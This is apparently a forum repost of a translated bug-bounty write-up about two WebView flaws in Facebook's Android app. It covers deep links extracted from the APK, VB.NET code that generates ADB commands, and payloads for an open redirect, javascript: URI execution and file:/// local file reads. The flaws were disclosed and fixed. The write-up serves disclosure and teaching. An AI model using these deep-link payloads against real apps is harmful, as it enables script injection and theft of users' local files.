搜索

[13275] 2018-10-07_看我如何发现Facebook安卓APP的$8500美金Webview漏洞

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2018-10-07_看我如何发现Facebook安卓APP的$8500美金Webview漏洞 看 我 如 何 发 现 F a c e b o o k 安 卓 A P P 的 $ 8 5 0 0 美 金 W e b v i e w 漏 洞 c l o u d s   F r e e B u f   2 0 1 8 - 1 0 - 0 7 2 0 1 8 年 6 月 ， 我 在 参 与 F a c e b o o k 漏 洞 众 测 项 目 期 间 ， 发 现 了 F a c e b o o k 安 卓 A P P 应 用 中 的 两 个 W e b v i e w 组 件 漏 洞 。 利 用 这 两 个 漏 洞 ， 攻 击 者 可 以 构 造 恶 意 链 接 ， 通 过 F a c e b o o k 安 卓 A P P 发 送 给 受 害 者 ， 目 标 受 害 者 点 击 这 个 链 接 之 后 就 会 中 招 ， 致 使 攻 击 者 可 以 在 受 害 者 手 机 中 执 行 任 意   J a v a s c r i p t   代 码 。 在 测 试 结 果 确 切 之 前 ， 我 曾 在 3 个 不 同 手 机 终 端 中 试 验 过 这 两 个 漏 洞 ， 漏 洞 原 因 主 要 在 于 W e b v i e w 组 件 中 。 在 与 F a c e b o o k 安 全 团 队 的 来 回 协 商 之 后 ， 他 们 承 认 了 这 两 个 漏 洞 的 有 效 性 并 及 时 进 行 了 修 复 ， 我 最 终 也 获 得 了 F a c e b o o k 官 方 $ 8 5 0 0 美 金 的 奖 励 。 前 期 发 现 前 期 发 现 漏 洞 众 测 中 的 前 期 踩 点 非 常 关 键 ， 这 有 助 于 你 了 解 目 标 的 基 本 情 况 并 能 帮 助 你 关 注 重 点 。 在 对 F a c e b o o k 安 卓 A P P 的 前 期 踩 点 中 ， 我 把 关 注 点 聚 集 到 了 一 个 东 西 上 面 ， 那 就 是 其 A P P 中 的 d e e p l i n k ， 它 也 可 以 叫 移 动 端 深 度 链 接 或 是 应 用 跳 转 。 d e e p l i n k 可 以 算 是 超 链 接 的 另 外 一 种 类 型 吧 ， 在 A P P 中 它 可 以 把 你 关 联 到 一 个 特 定 的 操 作 行 为 。 就 比 如 ， f b : / / p r o f i l e / 1 3 9 5 6 3 4 9 0 5 ， 在 安 卓 A P P 中 点 击 这 个 链 接 ， 它 会 启 动 F a c e b o o k 的 A P P 应 用 ， 并 跳 转 到 你 的 个 人 资 料 页 。 因 此 ， 我 决 定 先 在 A P K 文 件 中 来 查 看 一 些 可 见 的 纯 文 本 文 件 ， 于 是 ， 我 用 W i n R A R 来 打 开 了 F a c e b o o k 的 最 新 版 本 的 安 卓 A P P ， 然 后 在 其 中 查 找 字 符 串   “ f b : / / ”   ， 一 会 ， 它 就 返 回 了 一 个 结 果 文 件   ‘ a s s e t s / B u n d l e - f b 4 . j s . h b c ’ ， 检 查 之 后 可 以 发 现 ， 该 文 件 中 具 备 多 个 d e e p l i n k ， 其 中 包 括 ： f b : / / m a r k e t p l a c e _ p r o d u c t _ d e t a i l s _ f r o m _ f o r _ s a l e _ i t e m _ i d f b : / / a d s m a n a g e r 但 是 ， 分 析 一 番 ， 最 后 也 没 什 么 可 用 之 处 。
然 而 ， 在 一 个 为   f b : / / a m a /   的 d e e p l i n k 线 索 之 下 ， 我 在 W i n R A R 打 开 的 A P K 文 件 中 ， 找 到 了 一 个 文 件 -     ‘ r e a c t _ n a t i v e _ r o u t e s . j s o n ’ ， 它 可 以 算 是 一 个 “ 金 矿 ” 了 ， 其 中 包 含 了 F a c e b o o k   A P P 操 作 处 理 的 多 个 d e e p l i n k 。 从 上 图 的 文 件 图 示 中 ， 我 们 可 以 分 析 构 造 出 一 个 如 下 有 效 的 F a c e b o o k   d e e p l i n k ： f b : / / a m a / ? e n t r y P o i n t = { S T R I N G } & f b _ h i d e s T a b B a r = { S T R I N G } & p r e s e n t a t i o n M e t h o d = { S T R I N G } & t a r g e t U R I = { S T R I N G } ‘ r e a c t _ n a t i v e _ r o u t e s . j s o n ’   这 个 文 件 有 1 2 0 0 0 多 行 代 码 ， 所 以 ， 我 需 要 一 些 编 程 技 巧 来 提 取 出 其 中 的 有 效 d e e p l i n k 链 接 。 之 后 ， 我 开 发 了 两 个 简 单 的 应 用 程 序 ， 一 个 用 于 将 J S O N 格 式 转 换 成 数 据 库 结 构 ， 另 一 个 用 于 从 数 据 库 中 创 建 链 接 。 为 了 后 续 需 要 对 数 据 进 行 处 理 ， 我 尽 量 用 数 据 库 的 思 路 来 执 行 。 以 下 就 是 将 J S O N 格 式 转 换 成 数 据 库 结 构 的 程 序 代 码 ：
以 上 的 V B . N E T 代 码 ， 可 以 把 J S O N 格 式 文 件 中 的 每 条 “ 路 径 （ p a t h ） ” ， 解 析 为 其 包 括 名 称 和 参 数 数 量 的 路 径 表 R o u t e T a b l e 中 的 对 应 条 目 。 与 实 际 参 数 类 似 ， 其 中 的 参 数 可 能 是 存 储 在 参 数 表 P a r a m t e r T a b l e 中 ， 其 中 的 属 性 包 括 参 数 类 型 、 名 称 、 索 引 和 是 否 为 必 填 字 段 ， 以 及 返 回 路 径 （ R o u t e ） 中 的 链 接 等 。 # M o v i n g   J S O N   i n t o   a   d a t a b a s e   s t r u c t u r e I m p o r t s   S y s t e m . D a t a . S Q L i t e I m p o r t s   S y s t e m . I O I m p o r t s   N e w t o n s o f t . J s o n . L i n q M o d u l e   M o d u l e 1         S u b   M a i n ( a r g s ( )   A s   S t r i n g )                 P r o c e s s F i l e ( " r e a c t _ n a t i v e _ r o u t e s . j s o n " )         E n d   S u b         P u b l i c   S u b   P r o c e s s F i l e ( I n p u t F i l e   A s   S t r i n g )                 D i m   J S O N T e x t   =   F i l e . R e a d A l l T e x t ( I n p u t F i l e )                 I f   J S O N T e x t . S t a r t s W i t h ( " [ " )   T h e n                         ' M a k e   v a l i d   J S O N                         J S O N T e x t   =   " { ' r e s u l t s '   :   "   &   J S O N T e x t   &   "   } "                 E n d   I f                 D i m   j s o n   A s   J O b j e c t   =   J O b j e c t . P a r s e ( J S O N T e x t )                 D i m   a r r   A s   J A r r a y   =   j s o n . S e l e c t T o k e n ( " r e s u l t s " )                 F o r   i   =   0   T o   a r r . C o u n t   -   1                         T r y                                 D i m   R o u t e N a m e   A s   S t r i n g   =   a r r ( i ) . S e l e c t T o k e n ( " n a m e " )                                 D i m   R o u t e P a t h   A s   S t r i n g   =   a r r ( i ) . S e l e c t T o k e n ( " p a t h " )                                 D i m   p a r a m J S O N   A s   J O b j e c t   =   a r r ( i ) . S e l e c t T o k e n ( " p a r a m D e f i n i t i o n s " )                                 D i m   R o u t e P a r a m a t e C o u n t   A s   I n t e g e r   =   a r r ( i ) . S e l e c t T o k e n ( " p a r a m D e f i n i t i o n s " ) . C o u n t                                 I f   R o u t e P a r a m a t e C o u n t   < >   0   T h e n                                         D i m   o   A s   I n t e g e r   =   0                                         D i m   R o u t e I D   A s   I n t e g e r   =   i n s e r t R o u t e ( R o u t e N a m e ,   R o u t e P a t h ,   R o u t e P a r a m a t e C o u n t )                                         F o r   E a c h   i t e m   A s   J P r o p e r t y   I n   a r r ( i ) . S e l e c t T o k e n ( " p a r a m D e f i n i t i o n s " )                                                 o   + =   1                                                 D i m   P a r a m N a m e   =   i t e m . N a m e                                                 D i m   P a r a m T y p e   =   i t e m . V a l u e ( " t y p e " ) . T o S t r i n g                                                 D i m   P a r a m R e q u i r e d   =   i t e m . V a l u e ( " r e q u i r e d " ) . T o S t r i n g                                                 i n s e r t P a r a m a t e r ( P a r a m N a m e ,   P a r a m T y p e ,   P a r a m R e q u i r e d ,   o ,   R o u t e I D )                                         N e x t                                 E n d   I f                         C a t c h   e x   A s   E x c e p t i o n                         E n d   T r y                 N e x t         E n d   S u b         P u b l i c   F u n c t i o n   i n s e r t R o u t e ( R o u t e N a m e   A s   S t r i n g ,   R o u t e P a t h   A s   S t r i n g ,                                                                 R o u t e P a r a m a t e r C o u n t   A s   I n t e g e r )   A s   I n t e g e r                 D i m   c o n   A s   N e w   S Q L i t e C o n n e c t i o n ( " D a t a   S o u r c e = F B N a t i v e R o u t e s . d b " )                 c o n . O p e n ( )                 D i m   s q l   A s   S t r i n g   =   " I N S E R T   I N T O   R o u t e T a b l e                                                         ( R o u t e N a m e ,   R o u t e P a t h ,   R o u t e P a r a m a t e r C o u n t ,   R o u t e A d d e d D a t e T i m e )                                                             V A L U E S                                                         ( @ R N ,   @ R P ,   @ R P C ,   @ R A D ) "                 D i m   c m d   A s   N e w   S Q L i t e C o m m a n d ( s q l ,   c o n )                 c m d . P a r a m e t e r s . A d d ( " R N " ,   S q l D b T y p e . V a r C h a r ) . V a l u e   =   R o u t e N a m e                 c m d . P a r a m e t e r s . A d d ( " R P " ,   S q l D b T y p e . V a r C h a r ) . V a l u e   =   R o u t e P a t h                 c m d . P a r a m e t e r s . A d d ( " R P C " ,   S q l D b T y p e . I n t ) . V a l u e   =   R o u t e P a r a m a t e r C o u n t                 c m d . P a r a m e t e r s . A d d ( " R A D " ,   S q l D b T y p e . I n t ) . V a l u e   =   D a t e . N o w . T i c k s                 c m d . E x e c u t e N o n Q u e r y ( )                 s q l   =   " S E L E C T   l a s t _ i n s e r t _ r o w i d ( ) "                 c m d   =   N e w   S Q L i t e C o m m a n d ( s q l ,   c o n )                 i n s e r t R o u t e   =   c m d . E x e c u t e S c a l a r ( )                 c o n . C l o s e ( )         E n d   F u n c t i o n         P u b l i c   S u b   i n s e r t P a r a m a t e r ( P a r a m a t e r N a m e   A s   S t r i n g ,   P a r a m a t e r T y p e   A s   S t r i n g ,   P a r a m a t e r R e q u i r e d   A s   B o o l e a n ,                                                             P a r a m a t e r O r d e r I n d e x   A s   I n t e g e r ,   R o u t e I D   A s   I n t e g e r )                 D i m   P R   A s   I n t e g e r   =   0                 I f   P a r a m a t e r R e q u i r e d   =   T r u e   T h e n                         P R   =   1                 E l s e                         P R   =   0                 E n d   I f                 D i m   c o n   A s   N e w   S Q L i t e C o n n e c t i o n ( " D a t a   S o u r c e = F B N a t i v e R o u t e s . d b " )                 c o n . O p e n ( )                 D i m   s q l   A s   S t r i n g   =   " I N S E R T   I N T O   P a r a m a t e r T a b l e                                                         ( P a r a m a t e r N a m e ,   P a r a m a t e r T y p e ,   P a r a m a t e r R e q u i r e d ,   P a r a m a t e r O r d e r I n d e x ,   R o u t e s I D )                                                             V A L U E S                                                         ( @ P N ,   @ P T ,   @ P R ,   @ P O I ,   @ R I D ) "                 D i m   c m d   A s   N e w   S Q L i t e C o m m a n d ( s q l ,   c o n )                 c m d . P a r a m e t e r s . A d d ( " P N " ,   S q l D b T y p e . V a r C h a r ) . V a l u e   =   P a r a m a t e r N a m e                 c m d . P a r a m e t e r s . A d d ( " P T " ,   S q l D b T y p e . V a r C h a r ) . V a l u e   =   P a r a m a t e r T y p e                 c m d . P a r a m e t e r s . A d d ( " P R " ,   S q l D b T y p e . I n t ) . V a l u e   =   P a r a m a t e r R e q u i r e d                 c m d . P a r a m e t e r s . A d d ( " P O I " ,   S q l D b T y p e . I n t ) . V a l u e   =   P R                 c m d . P a r a m e t e r s . A d d ( " R I D " ,   S q l D b T y p e . I n t ) . V a l u e   =   R o u t e I D                 c m d . E x e c u t e N o n Q u e r y ( )                 c o n . C l o s e ( )         E n d   S u b E n d   M o d u l e
下 面 这 个 程 序 代 码 ， 用 于 处 理 S Q L l i t e 数 据 库 内 容 ， 并 生 成 一 个 命 令 行 列 表 ， 然 后 通 过 A D B 工 具 在 安 卓 A P P 中 执 行 d e e p l i n k 。 就 以 上 述 发 现 的   a m a   d e e p l i n k 为 例 ， 以 下 就 是 最 终 在 终 端 应 用 中 解 析 执 行 的 样 子 ： a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d   “ f b : / / a m a / ? e n t r y P o i n t = { S T R I N G } & f b _ h i d e s T a b B a r = { S T R I N G } & p r e s e n t a t i o n M e t h o d = { S T R I N G } & t a r g e t U R I = { S T R I N G } ” 这 样 ， 我 就 可 以 通 过 命 令 行 来 执 行 类 似   f b : / /   u r l   这 样 的 d e e p l i n k 了 ， 对 d e e p l i n k 的 检 查 效 率 也 就 大 大 提 高 了 ！ 发 现 漏 洞 发 现 漏 洞 # B u i l d i n g   A D B   c o m m a n d s   r e a d y   f o r   b r e a k i n g I m p o r t s   S y s t e m . D a t a . S Q L i t e I m p o r t s   S y s t e m . I O M o d u l e   M o d u l e 1     S u b   M a i n ( a r g s ( )   A s   S t r i n g )             D i m   F i l e P a t h   A s   S t r i n g   =   D a t e . N o w . T o S t r i n g ( " d d M M y y H H m m " )   &   " . t x t "             D i m   F B L i n k   A s   S t r i n g   =   " "             D i m   c o n   A s   N e w   S Q L i t e C o n n e c t i o n ( " D a t a   S o u r c e = F B N a t i v e R o u t e s . d b " )             c o n . O p e n ( )             D i m   s q l   A s   S t r i n g   =   " S E L E C T   R o u t e I D ,   R o u t e N a m e ,   R o u t e P a t h   F R O M   R o u t e T a b l e "             D i m   c m d   A s   N e w   S Q L i t e C o m m a n d ( s q l ,   c o n )             D i m   r e a d e r   A s   S Q L i t e D a t a R e a d e r   =   c m d . E x e c u t e R e a d e r ( )             I f   r e a d e r . H a s R o w s   T h e n                     U s i n g   s w   A s   S t r e a m W r i t e r   =   N e w   S t r e a m W r i t e r ( F i l e P a t h )                             W h i l e   r e a d e r . R e a d                                     F B L i n k   =   B u i l d L i n k ( r e a d e r ( " R o u t e I D " ) ,   r e a d e r ( " R o u t e N a m e " ) ,   r e a d e r ( " R o u t e P a t h " ) )                                     F B L i n k   =   " a d b   s h e l l   a m   s t a r t   - a   " " a n d r o i d . i n t e n t . a c t i o n . V I E W " "   - d   " " "   &   F B L i n k   &   " " " "                                     s w . W r i t e L i n e ( F B L i n k )                             E n d   W h i l e                     E n d   U s i n g             E n d   I f             r e a d e r . C l o s e ( )             c o n . C l o s e ( )     E n d   S u b     P u b l i c   F u n c t i o n   B u i l d L i n k ( R o u t e I D   A s   I n t e g e r ,   R o u t e N a m e   A s   S t r i n g ,   R o u t e P a t h   A s   S t r i n g )   A s   S t r i n g             B u i l d L i n k   =   $ " f b : / { R o u t e P a t h } / "             D i m   i   A s   I n t e g e r   =   0             D i m   c o n   A s   N e w   S Q L i t e C o n n e c t i o n ( " D a t a   S o u r c e = F B N a t i v e R o u t e s . d b " )             c o n . O p e n ( )             D i m   s q l   A s   S t r i n g   =   " S E L E C T   P a r a m a t e r N a m e ,   P a r a m a t e r T y p e ,   P a r a m a t e r R e q u i r e d   F R O M   P a r a m a t e r T a b l e                                                     W H E R E   R o u t e s I D   =   @ R I D "             D i m   c m d   A s   N e w   S Q L i t e C o m m a n d ( s q l ,   c o n )             c m d . P a r a m e t e r s . A d d ( " R I D " ,   S q l D b T y p e . I n t ) . V a l u e   =   R o u t e I D             D i m   r e a d e r   A s   S Q L i t e D a t a R e a d e r   =   c m d . E x e c u t e R e a d e r ( )             I f   r e a d e r . H a s R o w s   T h e n                     W h i l e   r e a d e r . R e a d ( )                             I f   i   =   0   T h e n                                     B u i l d L i n k   & =   " ? "   &   r e a d e r ( " P a r a m a t e r N a m e " )   &   " = "   &   g e t V a l i d V a l u e ( r e a d e r ( " P a r a m a t e r T y p e " ) )                             E l s e                                     B u i l d L i n k   & =   " & "   &   r e a d e r ( " P a r a m a t e r N a m e " )   &   " = "   &   g e t V a l i d V a l u e ( r e a d e r ( " P a r a m a t e r T y p e " ) )                             E n d   I f                             i   + =   1                     E n d   W h i l e             E n d   I f             r e a d e r . C l o s e ( )             c o n . C l o s e ( )     E n d   F u n c t i o n     P u b l i c   F u n c t i o n   g e t V a l i d V a l u e ( P a r a m a t e r T y p e   A s   S t r i n g )   A s   S t r i n g             S e l e c t   C a s e   P a r a m a t e r T y p e                     C a s e   " S t r i n g "                             R e t u r n   " { S T R I N G } "                     C a s e   " I n t "                             R e t u r n   " { I N T } "                     C a s e   " B o o l e a n "                             R e t u r n   " { B O O L E A N } "                     C a s e   E l s e                             R e t u r n   " { S T R I N G } "             E n d   S e l e c t     E n d   F u n c t i o n E n d   M o d u l e
第 一 个 第 一 个   -   开 放 重 定 向 漏 开 放 重 定 向 漏 洞 洞 现 在 ， 我 们 预 先 构 建 了 一 个 3 6 4 条 的 命 令 行 的 列 表 ， 那 么 ， 开 始 行 动 吧 ， 来 看 看 能 从 这 些 命 令 行 中 得 到 了 什 么 样 的 响 应 。 整 个 过 程 中 有 几 个 d e e p l i n k 比 较 有 意 思 ， 但 最 终 我 把 关 注 点 放 到 了 以 下 这 三 个 上 面 ： a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d   “ f b : / / p a y m e n t s _ a d d _ p a y p a l / ? u r l = { S T R I N G } ” a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d “ f b : / / i g _ l w i c r e a t e _ i n s t a g r a m _ a c c o u n t _ f u l l _ s c r e e n _ a d _ p r e v i e w / ? a d P r e v i e w U r l = { S T R I N G } ” a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d   “ f b : / / a d s _ p a y m e n t s _ p r e p a y _ w e b v i e w / ? a c c o u n t = { S T R I N G } & c o n t e x t I D = { S T R I N G } & p a y m e n t I D = { S T R I N G } & u r l = { S T R I N G } & o r i g i n R o o t T a g = { I N T E G E R } ” 这 三 个 d e e p l i n k 都 有 一 个 共 同 点 ， 那 就 是 u r l 参 数 ， 像 上 面 其 中 的   u r l = { S T R I N G } 。 那 好 ， 既 然 你 需 要 u r l ， 那 我 就 给 你 一 个 呗 ， 用 h t t p s : / / g o o g l e . c o m 试 试 ， 构 造 的 P a y l o a d 如 下 ： a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d “ f b : / / i g _ l w i c r e a t e _ i n s t a g r a m _ a c c o u n t _ f u l l _ s c r e e n _ a d _ p r e v i e w / ? a d P r e v i e w U r l = h t t p s : / / g o o g l e . c o m “ 结 果 返 回 如 下 ：
哇 ， 成 功 了 ！ 这 就 是 一 个 开 放 重 定 向 漏 洞 ！ 你 要 知 道 ， F a c e b o o k   一 直 都 很 重 视 S S R F 和 开 放 重 定 向 这 类 漏 洞 。 最 终 我 上 报 之 后 ， 获 得 了 F a c e b o o k 不 多 不 少 $ 5 0 0 美 金 的 奖 励 。
第 二 个 第 二 个   -   用 户 终 端 本 地 文 件 读 取 漏 洞 用 户 终 端 本 地 文 件 读 取 漏 洞 有 了 第 一 个 漏 洞 作 铺 垫 之 后 ， 我 就 往 深 处 想 ， 计 划 发 挥 更 深 入 的 漏 洞 影 响 。 我 能 不 能 用 j a v s c r i p t   U R I   来 试 试 呢 ？ 还 有 ， 能 不 能 想 办 法 读 取 本 地 文 件 呢 ？ 于 是 ， 我 又 构 造 了 以 下 两 个 P a y l o a d ： a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d “ f b : / / i g _ l w i c r e a t e _ i n s t a g r a m _ a c c o u n t _ f u l l _ s c r e e n _ a d _ p r e v i e w / ? a d P r e v i e w U r l = j a v a s c r i p t : c o n f i r m ( ‘ h t t p s : / / f a c e b o o k . c o m / A s h l e y . K i n g . U K ‘ ) ” a d b   s h e l l   a m   s t a r t   - a   “ a n d r o i d . i n t e n t . a c t i o n . V I E W ”   - d “ f b : / / i g _ l w i c r e a t e _ i n s t a g r a m _ a c c o u n t _ f u l l _ s c r e e n _ a d _ p r e v i e w / ? a d P r e v i e w U r l = f i l e : / / / s d c a r d / C D A I n f o . t x t ” 出 乎 意 料 ， 两 个 P a y l o a d 都 能 成 功 执 行 ！ 一 个 能 调 用 到 我 自 己 的 F a c e b o o k 主 页 链 接 ， 一 个 能 读 取 到 客 户 端 手 机 中 的 本 地 文 件 ！ 其 实 ， 之 后 ， 我 还 想 综 合 利 用 这 些 漏 洞 ， 尝 试 去 发 现 更 深 层 次 的 b u g ， 但 无 奈 最 后 无 所 发 现 。 没 有 源 代 码 ， 我 这 种 黑 盒 测 试 的 方 法 也 只 能 到 此 为 止 了 。 那 就 向 F a c e b o o k 再 上 报 一 下 这 个 漏 洞 吧 ， 最 终 凭 此 漏 洞 ， 我 又 获 得 F a c e b o o k 官 方 $ 8 0 0 0 美 金 奖 励 。 F a c e b o o k 安 全 团 队 的 回 应 安 全 团 队 的 回 应 我 们 正 在 处 理 你 的 上 报 漏 洞 ， 你 的 上 报 漏 洞 在 于 ， 可 以 从 任 何 网 页 中 调 用 这 些 服 务 端 ， 但 其 影 响 有 限 。 影 响 较 为 严 重 的 要 数 那 个 在 U I 界 面 的 本 地 文 件 读 取 漏 洞 ， 但 前 提 也 需 要 对 用 户 终 端 设 备 的 访 问 权 限 ， 也 才 能 获 取 读 取 的 数 据 信 息 。 然 而 ， 我 们 在 W e b V i e w 的 代 码 审 查 中 发 现 了 一 些 与 你 上 报 漏 洞 相 关 的 问 题 ， 这 些 问 题 出 在 W e b V i e w 实 际 的 配 置 和 运 行 中 。 攻 击 者 可 以 综 合 利 用 这 些 问 题 b u g ， 来 调 用 F a c e b o o k 应 用 的 某 些 内 部 服 务 端 ， 并 获 取 到 一 些 敏 感 的 H T M L 5   A P I 接 口 信 息 。 因 为 根 据 你 的 上 报 漏 洞 ， 我 们 在 内 部 调 查 中 也 发 现 了 几 个 更 深 层 的 问 题 b u g ， 所 以 ， 根 据 我 们 的 赏 金 策 略 ， 我 们 按 照 最 高 的 潜 在 安 全 风 险 来 确 定 你 的 漏 洞 赏 金 ， 奖 励 你 的 这 些 发 现 。
漏 洞 上 报 进 程 漏 洞 上 报 进 程 2 0 1 8 . 3 . 3 0     向 F a c e b o o k 上 报 漏 洞 2 0 1 8 . 4 . 4         F a c e b o o k 有 效 响 应 2 0 1 8 . 4 . 1 3       F a c e b o o k 修 复 漏 洞 2 0 1 8 . 5 . 1 6       F a c e b o o k 发 放 赏 金 * 参 考 来 源 ： 参 考 来 源 ： a s h k i n g ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理